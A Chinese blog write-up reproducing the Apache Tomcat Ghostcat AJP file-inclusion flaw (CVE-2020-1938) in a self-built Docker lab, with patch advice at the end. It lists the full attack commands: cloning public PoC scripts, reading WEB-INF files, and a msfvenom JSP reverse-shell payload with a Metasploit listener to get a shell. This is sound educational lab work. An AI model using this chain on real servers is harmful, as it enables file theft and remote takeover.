CVE-2020-1938 Apache Tomcat 文件包含漏洞复现

1.漏洞描述

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

2.影响的版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31

3.漏洞复现

3.1 实验环境以及ip

靶机:kali       192.168.157.138
攻击机:kali       192.168.157.139 

3.2靶机环境搭建

3.2.1下载docker


    
    
      
      
      
      
  1. #更新软件源中的所有软件列表
  2. apt-get update
  3. #安装https协议及CA证书
  4. apt-get install -y apt-transport-https ca-certificates
  5. #下载安装docker
  6. apt install docker.io
  7. #查看Docker是否安装成功
  8. docker run hello-world

3.2.2搜索docker中的漏洞环境镜像

docker search tomcat-8.5.32
    
    
      
      
      
      

3.2.3使用docker拉去镜像环境

docker pull duonghuuphuc/tomcat-8.5.32
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第1张图片

3.2.4查看docker下的镜像

docker images
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第2张图片

3.2.5启动环境

docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat negoowen/ghostcat:1.0
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第3张图片

这里出现错误,显示ghostcat容器在运行,是因为第二次执行而导致的报错

关闭ghostcat容器

docker rm -f ghostcat
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第4张图片

再次启动环境,成功

3.2.6查看环境是否启动成功

docker ps -l
    
    
      
      
      
      

3.2.7打开页面

CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第5张图片

3.3 漏洞复现

3.3.1在攻击机进行端口扫描

nmap 192.168.157.138
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第6张图片

3.3.2 在攻击机下载poc

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第7张图片

3.3.3 尝试读取8009端口下的web.xml文件

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/web.xml
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第8张图片

3.3.4  在靶机创建一个验证文件


    
    
      
      
      
      
  1. docker exec -it ghostcat /bin/bash
  2. echo helloworld > ./webapps/ROOT/WEB-INF/test.txt
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第9张图片

3.3.5 进行攻击

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/test.txt
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第10张图片

3.4漏洞利用--文件包含getshell

3.4.1首先在靶机使用msf生成一个java木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.157.139 LPORT=6666 > shell.txt
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第11张图片

3.4.2将生成的木马复制到tomcat目录下,模拟我们已经将shell.txt上传

docker cp /home/xiaoya/桌面/shell.txt ghostcat:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第12张图片

3.4.3 在攻击机下载poc

git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第13张图片

3.4.4 在攻击机打开msf进行监听


    
    
      
      
      
      
  1. # 打开msf
  2. msfconsole
  3. # 设置监听模块
  4. use exploit/multi/handler
  5. # 设置 payload
  6. set payload java/jsp_shell_reverse_tcp
  7. # 设置监听 IP 地址
  8. set lhost 192.168.157.139
  9. # 设置监听端口
  10. set lport 6666
  11. # 执行
  12. run
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第14张图片

3.4.5在攻击机访问shell.txt,使shell.txt发生文件包含

python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py 192.168.157.138 -p 8009 -f /WEB-INF/shell.txt 
    
    
      
      
      
      
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第15张图片

4修复建议

1.临时禁用AJP协议端口,在 conf/server.xml 配置文件中注释掉:
2.特别配置ajp配置中的secretRequired跟secret属性来限制认证
3.下载更新版本,只要不在本文开头提到的波及版本中即可。

CVE-2020-1938 Apache Tomcat 文件包含漏洞复现 docker搭建靶场环境方式二

1 环境搭建

1.1 Vulhub靶机搭建

1.1.1 环境安装

(1)安装docker

$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

   
   
     
     
     
     
  • 1

(2)安装Docker-Compose

$ pip install docker-compose

   
   
     
     
     
     
  • 1

#如果没有pip需要先安装

 $ yum -y install epel-release
 $ yum -y install python-pip
 $ pip --version  # 查看pip版本

   
   
     
     
     
     
  • 1
  • 2
  • 3

(3)安装Vulhub

$ git clone https://github.com/vulhub/vulhub.git

   
   
     
     
     
     
  • 1

#如果没有Git需要先安装

$ yum install -y git

   
   
     
     
     
     
  • 1

1.1.2 靶场使用

1.输入systemctl start docker 启动docker
在这里插入图片描述

2.输入systemctl status docker 查看docker状态
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第16张图片

3.选择对应靶场进入,这里我们选择Tomcat下的CVE-2020-1938靶场
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第17张图片

4.输入docker-compose up -d 启动靶场环境
在这里插入图片描述

5.输入docker ps查看容器id
在这里插入图片描述

6.输入docker exec -it docker-id /bin/bash 进入容器,这里我们docker-id为346b40c2c227
在这里插入图片描述

成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现_第18张图片

靶场启动成功

要停止docker的环境用 “docker stop id号” 可以关闭docker环境。

https://blog.csdn.net/weixin_45071708/article/details/117416349
https://blog.csdn.net/qq_49279082/article/details/129018726

你可能感兴趣的:(漏洞复现,#,tomcat,tomcat)